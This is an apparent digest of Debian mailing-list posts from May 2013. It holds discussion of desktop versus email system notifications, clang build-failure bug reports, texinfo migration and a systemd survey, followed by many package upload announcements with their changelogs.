The other issue is that email is persistent past first reading of the message 
such that they it can be referred to later, but Desktop notifications don't 
seem to operate that way.

As such Desktop notifications and email notifications contain different types 
of notifications, at least in my experience.  [A notification of this window 
has crashed and will be closed isn't very useful in email, and a several 
paragraph explanation from apt-listbugs concerning package configuration 
changes doesn't make much sense as a Desktop notification.]

  I wouldn't call important system messages not getting delivered a
  nonexistant problem -- this tends to end up with serious data loss.
 
 That's exactly the point, and is why I would prefer not to write those
 notifications into a file that no one ever looks at.  (Which is why I
 don't find sending them to syslog much more appealing, since the average
 desktop user is never going to look there either.)

Somehow this problem reminds me of the event log used on a popular 
operating system.  Most users don't read that log either.

  -- Chris

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Re: [clang] Report bugs on packages failing to build with clang

2013-05-29 Thread Scott Kitterman


Sylvestre Ledru sylves...@debian.org wrote:

Hello,

With the recent setup of the parallel build infrastructure using clang
instead of gcc [1], I would like to start to report
bugs on packages failing to build with clang (with patches if
possible).
The severity would be minor.
Of course, I would do that only when the issue is upstream [2].

Any comments ?

It seems to me that FTBFS with clang should be wishlist. Of course if the 
failure is determined to be the result of an actual implementation defect, then 
something non-wishlist would be appropriate. 

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Re: default MTA

2013-05-29 Thread Russ Allbery
Chris Knadle chris.kna...@coredump.us writes:
 On Wednesday, May 29, 2013 15:46:15, Russ Allbery wrote:

 That's exactly the point, and is why I would prefer not to write those
 notifications into a file that no one ever looks at.  (Which is why I
 don't find sending them to syslog much more appealing, since the
 average desktop user is never going to look there either.)

 Somehow this problem reminds me of the event log used on a popular
 operating system.  Most users don't read that log either.

Yes, but what users *do* read is some sort of event log that throws an
attention icon (or spawns a window) on login or on event that doesn't go
away until the user looks through the messages.

I know we probably don't have something like this right now, but it's
something that can be done, and would be much superior to email for a lot
of users (including myself on a lot of systems).

One could easily solve the persistent problem in a similar way if a
history of such notifications were kept and could be retrieved by the user
by manually launching the application.

None of this seems particularly novel (we've written similar things at
Stanford for managed desktop situations and deployed commercial products
that do something similar, not to mention that it's how most anti-virus
updators and now the OS patch updators work), which makes me wonder if
someone is already working on (or has finished) a mechanism of corraling
some desktop notifications into that sort of framework.

Basically, what we're looking for here is the equivalent of a check engine
light (except, of course, with better user-visible diagnostics available).
That's what the end user actually wants: something clear and visible
indicating that something is wrong, which they can drill down and see the
details and dismiss the error condition if they want, or have all the
details available to consult someone who knows more about computers if
they don't know what to do with it themselves.  Historically, root cron
mail has been exactly that, and that's still a great way of handling it
for servers, since that mail can be sent off somewhere centrally, analyzed
and assigned to sysadmins, used to open internal trouble tickets, etc.
But increasingly desktop users are just not thinking about their computer
as something that sends them mail, nor is there a good mechanism in place
most of the time for the computer to do so effectively.

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Re: MBF: transition from texi2html to texinfo

2013-05-29 Thread Norbert Preining
Hi Sébastien, hi all,

On Di, 28 Mai 2013, Sébastien Villemot wrote:
 AFAIK, makeinfo is not able to render @math blocks as images (formatted
 with LaTeX), while texi2html does. The output of math formulas with

On the bug-texinfo list I got the following answer from
Patrice Dumas, the author:

On Do, 30 Mai 2013, Patrice Dumas wrote:
 This is already in.  There are no built-in command line option anymore,
 but it would be enabled by something along
 
 texi2any --html --iftex --init latex2html.pm
 
 or, with tex4ht
 
 texi2any --html --iftex --init tex4ht.pm


Ryan: I would add this to the MBF email so that people can
test it with their packages.

Adding a wrapper texi2html that does similar thing could also be
an option, as suggested.

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Re: Debian systemd survey

2013-05-29 Thread Ken Barber
What are the results Michael?

ken.

On Mon, May 20, 2013 at 5:19 PM, Michael Stapelberg
stapelb...@debian.org wrote:
 Hello,

 In the past, we have had multiple heated discussions involving
 systemd. We (the pkg-systemd-maintainers team) would like to better
 understand why some people dislike systemd.

 Therefore, we have created a survey, which you can find at
 http://survey.zekjur.net/index.php/391182

 Please only submit your feedback to the survey and not this thread, we
 are not particularly interested in yet another systemd discussion at
 this point.

 The deadline for participating in that survey is 7 days from now, that
 is 2013-05-26 23:59:00 UTC.

 Please participate only if you consider yourself an active member of the
 Debian community (for example participating in the debian-devel mailing
 list, maintaining packages, etc.).

 Of course, we will publish the results after the survey ends.

 Thanks!

 Best regards,
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Re: Debian systemd survey

2013-05-29 Thread Russ Allbery
Ken Barber k...@bob.sh writes:

 What are the results Michael?

He posted them to debian-devel, but also:

http://people.debian.org/~stapelberg//2013/05/27/systemd-survey-results.html

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Accepted soqt 1.5.0-2.1 (source amd64)

2013-05-29 Thread Anton Gladky
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Date: Tue, 28 May 2013 22:17:52 +0200
Source: soqt
Binary: libsoqt4-20 libsoqt-dev-common libsoqt4-dev
Architecture: source amd64
Version: 1.5.0-2.1
Distribution: unstable
Urgency: low
Maintainer: Steve M. Robbins s...@debian.org
Changed-By: Anton Gladky gl...@debian.org
Description: 
 libsoqt-dev-common - Qt GUI component toolkit for Inventor - common 
development files
 libsoqt4-20 - Qt4 GUI component toolkit for Inventor - runtime
 libsoqt4-dev - Qt4 GUI component toolkit for Inventor - development
Changes: 
 soqt (1.5.0-2.1) unstable; urgency=low
 .
   * Non-maintainer upload.
   * Migrate from coin60 to coin80.
   * Update debian/watch (Bart Martens ba...@debian.org).
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Accepted syslinux 3:6.00~pre4+dfsg-9 (source i386 all)

2013-05-29 Thread Daniel Baumann
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Date: Wed, 29 May 2013 07:42:35 +0200
Source: syslinux
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Architecture: source i386 all
Version: 3:6.00~pre4+dfsg-9
Distribution: experimental
Urgency: low
Maintainer: Daniel Baumann m...@daniel-baumann.ch
Changed-By: Daniel Baumann m...@daniel-baumann.ch
Description: 
 extlinux   - collection of boot loaders (Linux ext2/ext3/ext4, btrfs, and xfs
 isolinux   - collection of boot loaders (ISO 9960 bootloader)
 pxelinux   - collection of boot loaders (PXE network bootloader)
 syslinux   - collection of bootloaders (DOS FAT and NTFS bootloader)
 syslinux-common - collection of boot loaders (common)
 syslinux-dev - collection of boot loaders (development)
 syslinux-installer - Install syslinux on a hard disk (udeb)
 syslinux-udeb - collection of boot loaders (udeb)
 syslinux-utils - collection of boot loaders (utilities)
Closes: 710212
Changes: 
 syslinux (3:6.00~pre4+dfsg-9) experimental; urgency=low
 .
   * Sourcing common function in first extlinux-update subscript too
 (Closes: #710212).
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Accepted cloud-init 0.7.2-1 (source all)

2013-05-29 Thread Thomas Goirand
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Date: Sun, 26 May 2013 16:29:45 +
Source: cloud-init
Binary: cloud-init
Architecture: source all
Version: 0.7.2-1
Distribution: unstable
Urgency: low
Maintainer: Python Applications Packaging Team 
python-apps-t...@lists.alioth.debian.org
Changed-By: Thomas Goirand z...@debian.org
Description: 
 cloud-init - configuration and customization of cloud instances
Closes: 707443
Changes: 
 cloud-init (0.7.2-1) unstable; urgency=low
 .
   * New upstream release.
 .
   [ Jakub Wilk ]
   * Use canonical URIs for Vcs-* fields.
 .
   [ Charles Plessy ]
   * Build-depends on python-setuptools and python-yaml. Closes: #707443
   * Normalised debian/control with config-model-edit (this drops some
 constraints on packages versions that are satisfied even in oldstable).
 .
   [ Thomas Goirand ]
   * Made the make test respect DEB_BUILD_OPTIONS=nocheck.
   * Added X-Start-Before: sshd in debian/cloud-init.init, since cloud-init must
 fix the sshd host keys before it starts.
   * Added a patch of the test suite to use /sbin/blkid and not just blkid, as
 otherwise, the unit test fails.
   * Adds internationalization of the debconf messages (eg: po folder, etc.).
   * Adds a patch to disable a RHEL test (set hostname) which fails (of course,
 we don't really care about such test in Debian).
   * Added missing dependency: python-requests.
   * Added myself as uploader.
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Accepted fslint 2.42-3 (source all)

2013-05-29 Thread Rolf Leggewie
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Urgency: low
Maintainer: Pádraig Brady p...@draigbrady.com
Changed-By: Rolf Leggewie f...@rolf.leggewie.biz
Description: 
 fslint - Utility collection to find and fix common errors in file storage
Changes: 
 fslint (2.42-3) unstable; urgency=low
 .
   * control:
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 - bump to dh9 build logic and standard to version 3.9.4
   * copyright: bump my copyright to 2013
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Accepted yade 0.97.0-2 (source amd64 all)

2013-05-29 Thread Anton Gladky
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Source: yade
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Architecture: source amd64 all
Version: 0.97.0-2
Distribution: unstable
Urgency: low
Maintainer: Debian Science Maintainers 
debian-science-maintain...@lists.alioth.debian.org
Changed-By: Anton Gladky gl...@debian.org
Description: 
 libyade- Platform for discrete element modeling. Libraries
 python-yade - Platform for discrete element modeling. Python bindings
 yade   - Platform for discrete element modeling
 yade-doc   - Platform for discrete element modeling. Documentation
Changes: 
 yade (0.97.0-2) unstable; urgency=low
 .
   * [49e2dbb] Use parallel build only on amd64 and i386.
   * [e061d31] Do not use python-minieigen on s390 (no binary).
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Accepted ncbi-tools6 6.1.20120620-3 (source i386 all)

2013-05-29 Thread Aaron M. Ucko
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ncbi-tools-bin ncbi-tools-x11 blast2 libvibrant6 libvibrant6-dev libvibrant6-dbg
Architecture: source i386 all
Version: 6.1.20120620-3
Distribution: unstable
Urgency: low
Maintainer: Debian Med Packaging Team 
debian-med-packag...@lists.alioth.debian.org
Changed-By: Aaron M. Ucko u...@debian.org
Description: 
 blast2 - Basic Local Alignment Search Tool
 libncbi6   - NCBI libraries for biology applications
 libncbi6-dbg - NCBI libraries for biology applications (debugging symbols)
 libncbi6-dev - NCBI libraries for biology applications (development files)
 libvibrant6 - NCBI libraries for graphic biology applications
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file
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 ncbi-tools-bin - NCBI libraries for biology applications (text-based utilities)
 ncbi-tools-x11 - NCBI libraries for biology applications (X-based utilities)
Changes: 
 ncbi-tools6 (6.1.20120620-3) unstable; urgency=low
 .
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 - Substitute libmotif-dev for liblesstif-dev in Build-Depends and
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Accepted pywapi 0.3.2-1 (source all)

2013-05-29 Thread Andrew Starr-Bochicchio
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python-modules-t...@lists.alioth.debian.org
Changed-By: Andrew Starr-Bochicchio a...@debian.org
Description: 
 python-pywapi - Python wrapper around different weather APIs
 python3-pywapi - Python wrapper around different weather APIs (Python 3)
Changes: 
 pywapi (0.3.2-1) unstable; urgency=low
 .
   [ Jakub Wilk ]
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 .
   [ Andrew Starr-Bochicchio ]
   * New upstream release (LP: #1154858).
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   * Transition to dh_python2.
   * Move to source format 3.0 (quilt).
   * Build Python3 package.
   * Bump Standards-Version to 3.9.4, no changes needed.
   * Add myself to the Uploaders field.
   * Update description to reflect that Weather.com is now supported
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Accepted tdiary 3.2.2-2 (source all)

2013-05-29 Thread Hideki Yamane
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Urgency: low
Maintainer: Debian Ruby Extras Maintainers 
pkg-ruby-extras-maintain...@lists.alioth.debian.org
Changed-By: Hideki Yamane henr...@debian.org
Description: 
 tdiary - Communication-friendly weblog system
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Accepted acpid 1:2.0.19-1 (source amd64)

2013-05-29 Thread Michael Meskes
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Maintainer: Debian Acpi Team pkg-acpi-de...@lists.alioth.debian.org
Changed-By: Michael Meskes mes...@debian.org
Description: 
 acpid  - Advanced Configuration and Power Interface event daemon
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Closes: 701234
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 .
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Accepted dosfstools 3.0.17-1 (source i386)

2013-05-29 Thread Daniel Baumann
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Source: dosfstools
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Version: 3.0.17-1
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Urgency: low
Maintainer: Daniel Baumann m...@daniel-baumann.ch
Changed-By: Daniel Baumann m...@daniel-baumann.ch
Description: 
 dosfstools - utilities for making and checking MS-DOS FAT filesystems
 dosfstools-dbg - utilities for making and checking MS-DOS FAT filesystems 
(debug)
 dosfstools-udeb - utilities for making and checking MS-DOS FAT filesystems 
(udeb) (udeb)
Closes: 655953 702392
Changes: 
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 .
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Accepted g2clib 1.4.0-1 (source i386)

2013-05-29 Thread Alastair McKinstry
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Source: g2clib
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Architecture: source i386
Version: 1.4.0-1
Distribution: unstable
Urgency: low
Maintainer: Alastair McKinstry mckins...@debian.org
Changed-By: Alastair McKinstry mckins...@debian.org
Description: 
 libgrib2c-dev - NCEP GRIB2 library - development files
 libgrib2c0d - NCEP GRIB2 encoder/decoder library
Closes: 701547
Changes: 
 g2clib (1.4.0-1) unstable; urgency=low
 .
   * New upstream.
   * Add watch file.
   * Now at Standards-Version: 3.9.4
   * Add flags to harden library.
   * Ensure it can build twice-in-a-row: clean binaries in rules
   * Ensure static lib is shipped in -dev file. Closes: #701547
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Accepted glusterfs 3.4.0~qa9realybeta2-1 (source amd64)

2013-05-29 Thread Patrick Matthäi
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Architecture: source amd64
Version: 3.4.0~qa9realybeta2-1
Distribution: unstable
Urgency: low
Maintainer: Patrick Matthäi pmatth...@debian.org
Changed-By: Patrick Matthäi pmatth...@debian.org
Description: 
 glusterfs-client - clustered file-system (client package)
 glusterfs-common - GlusterFS common libraries and translator modules
 glusterfs-dbg - GlusterFS debugging symbols
 glusterfs-server - clustered file-system (server package)
Closes: 710074
Changes: 
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 .
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   * Uploading to unstable.
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Accepted kawari8 8.2.8-8 (source i386)

2013-05-29 Thread PaulLiu
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Version: 8.2.8-8
Distribution: unstable
Urgency: low
Maintainer: Ying-Chun Liu (PaulLiu) paul...@debian.org
Changed-By: Ying-Chun Liu (PaulLiu) paul...@debian.org
Description: 
 kawari8- Pseudo AI Shiori module used to create ghosts for Ukagaka
Closes: 702238 71
Changes: 
 kawari8 (8.2.8-8) unstable; urgency=low
 .
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   * Update 009_kawari8-64bit-fix.patch to fix 64-bit crash (Closes: #702238)
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Accepted luckybackup 0.4.7-3 (source amd64 all)

2013-05-29 Thread Patrick Matthäi
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Date: Wed, 29 May 2013 10:20:34 +0200
Source: luckybackup
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Architecture: source amd64 all
Version: 0.4.7-3
Distribution: unstable
Urgency: low
Maintainer: Patrick Matthäi pmatth...@debian.org
Changed-By: Patrick Matthäi pmatth...@debian.org
Description: 
 luckybackup - rsync-based GUI data backup utility
 luckybackup-data - rsync-based GUI data backup utility (data files)
Changes: 
 luckybackup (0.4.7-3) unstable; urgency=low
 .
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   * Switch to xz compression and add a Pre-Depends on dpkg.
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Accepted sshm 0.4.3-2 (source amd64)

2013-05-29 Thread Patrick Matthäi
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Version: 0.4.3-2
Distribution: unstable
Urgency: low
Maintainer: Patrick Matthäi pmatth...@debian.org
Changed-By: Patrick Matthäi pmatth...@debian.org
Description: 
 sshm   - command-line tool to manage your ssh servers
Changes: 
 sshm (0.4.3-2) unstable; urgency=low
 .
   * Bump Standards-Version to 3.9.4 (no changes needed).
   * Switch to xz compression and add a Pre-Depends on dpkg.
   * Bump debian/compat to level 9.
   * Migrate package to minimal debhelper.
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Accepted webissues 1.1~beta1-1 (source amd64)

2013-05-29 Thread Patrick Matthäi
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Source: webissues
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Version: 1.1~beta1-1
Distribution: unstable
Urgency: low
Maintainer: Patrick Matthäi pmatth...@debian.org
Changed-By: Patrick Matthäi pmatth...@debian.org
Description: 
 webissues  - network system supporting team collaboration
 webissues-dbg - network system supporting team collaboration (dbg symbols)
Changes: 
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 .
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Accepted alglib 3.7.0-5 (source amd64)

2013-05-29 Thread Anton Gladky
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Date: Sun, 26 May 2013 23:34:37 +0200
Source: alglib
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Architecture: source amd64
Version: 3.7.0-5
Distribution: unstable
Urgency: low
Maintainer: Debian Science Team 
debian-science-maintain...@lists.alioth.debian.org
Changed-By: Anton Gladky gl...@debian.org
Description: 
 libalglib-dev - Development files for the alglib library
 libalglib3.7 - Numerical analysis and data processing library
 libalglib3.7-dbg - Debugging symbols for the alglib library
Closes: 708584
Changes: 
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 .
   * [d579857] Replace libalglib3 by libalglib3.7 package. (Closes: #708584)
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Accepted rails 2:3.2.13+1 (source all)

2013-05-29 Thread Ondřej Surý
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Source: rails
Binary: rails ruby-activemodel ruby-activerecord ruby-activeresource 
ruby-activesupport ruby-actionpack ruby-actionmailer ruby-railties
Architecture: source all
Version: 2:3.2.13+1
Distribution: unstable
Urgency: low
Maintainer: Debian Ruby Extras Maintainers 
pkg-ruby-extras-maintain...@lists.alioth.debian.org
Changed-By: Ondřej Surý ond...@debian.org
Description: 
 rails  - MVC ruby based framework geared for web application development
 ruby-actionmailer - Framework for generation of customized email messages
 ruby-actionpack - Controller and View framework used by Rails
 ruby-activemodel - toolkit for building modeling frameworks (part of Rails)
 ruby-activerecord - ORD database interface for ruby
 ruby-activeresource - Connects objects and REST web services
 ruby-activesupport - Support and utility classes used by the Rails framework
 ruby-railties - MVC ruby based framework geared for web application development
Changes: 
 rails (2:3.2.13+1) unstable; urgency=low
 .
   [ Cédric Boutillier ]
   * debian/control: remove obsolete DM-Upload-Allowed flag
   * Use canonical URI in Vcs-* fields
 .
   [ Ondřej Surý ]
   * Upload Rail 3.2 as default version to unstable.
   * Add ruby-activemodel and ruby-railties dummy packages
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Accepted llvm-toolchain-snapshot 1:3.4~svn182733-1~exp1 (source amd64 all)

2013-05-29 Thread Sylvestre Ledru
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Date: Mon, 27 May 2013 15:01:57 +0200
Source: llvm-toolchain-snapshot
Binary: clang-3.4 clang-3.4-doc libclang1-3.4 libclang1-3.4-dbg 
libclang-3.4-dev libclang-common-3.4-dev libllvm3.4 libllvm3.4-dbg llvm-3.4 
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llvm-3.4-examples lldb-3.4
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Version: 1:3.4~svn182733-1~exp1
Distribution: experimental
Urgency: low
Maintainer: LLVM Packaging Team pkg-llvm-t...@lists.alioth.debian.org
Changed-By: Sylvestre Ledru sylves...@debian.org
Description: 
 clang-3.4  - C, C++ and Objective-C compiler (LLVM based)
 clang-3.4-doc - C, C++ and Objective-C compiler (LLVM based) - Documentation
 libclang-3.4-dev - clang library - Development package
 libclang-common-3.4-dev - clang library - Common development package
 libclang1-3.4 - clang library
 libclang1-3.4-dbg - clang library
 libllvm-3.4-ocaml-dev - Low-Level Virtual Machine (LLVM), bindings for OCaml
 libllvm3.4 - Low-Level Virtual Machine (LLVM), runtime library
 libllvm3.4-dbg - Low-Level Virtual Machine (LLVM), debugging symbols library
 lldb-3.4   - Next generation, high-performance debugger
 llvm-3.4   - Low-Level Virtual Machine (LLVM)
 llvm-3.4-dev - Low-Level Virtual Machine (LLVM), libraries and headers
 llvm-3.4-doc - Low-Level Virtual Machine (LLVM), documentation
 llvm-3.4-examples - Low-Level Virtual Machine (LLVM), examples
 llvm-3.4-runtime - Low-Level Virtual Machine (LLVM), bytecode interpreter
Closes: 708677
Changes: 
 llvm-toolchain-snapshot (1:3.4~svn182733-1~exp1) experimental; urgency=low
 .
   * New snapshot release (3.4 release)
   * Add a symlink of libLLVM-3.4.so.1 to usr/lib/llvm-3.4/lib/libLLVM-3.4.so
   to fix make the llvm-config-3.4 --libdir work (Closes: #708677)
 * Various packages rename to allow co installations:
   * libclang1 = libclang1-3.4
   * libclang1-dbg = libclang1-3.4-dbg
   * libclang-dev = libclang-3.4-dev
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Accepted automake1.13 1:1.13.1-1 (source all)

2013-05-29 Thread Eric Dorland
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Version: 1:1.13.1-1
Distribution: unstable
Urgency: low
Maintainer: Eric Dorland e...@debian.org
Changed-By: Eric Dorland e...@debian.org
Description: 
 automake   - Tool for generating GNU Standards-compliant Makefiles
Closes: 671004
Changes: 
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 .
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   * debian/control: Standards-Version to 3.9.4.
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Accepted grantlee 0.3.0-5 (source amd64)

2013-05-29 Thread Pino Toscano
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Source: grantlee
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Version: 0.3.0-5
Distribution: unstable
Urgency: low
Maintainer: Debian Krap Maintainers debian-qt-...@lists.debian.org
Changed-By: Pino Toscano p...@debian.org
Description: 
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Changes: 
 grantlee (0.3.0-5) unstable; urgency=low
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Accepted xgks 2.6.1+dfsg.1-3 (source i386 all)

2013-05-29 Thread Alastair McKinstry
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Urgency: low
Maintainer: Alastair McKinstry mckins...@debian.org
Changed-By: Alastair McKinstry mckins...@debian.org
Description: 
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Accepted ruby-factory-girl-rails 4.2.1-1 (source all)

2013-05-29 Thread Praveen Arimbrathodiyil
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Date: Sun, 12 May 2013 21:35:02 +0530
Source: ruby-factory-girl-rails
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Version: 4.2.1-1
Distribution: unstable
Urgency: low
Maintainer: Debian Ruby Extras Maintainers 
pkg-ruby-extras-maintain...@lists.alioth.debian.org
Changed-By: Praveen Arimbrathodiyil prav...@debian.org
Description: 
 ruby-factory-girl-rails - provides integration between factory_girl and rails 3
Closes: 708024
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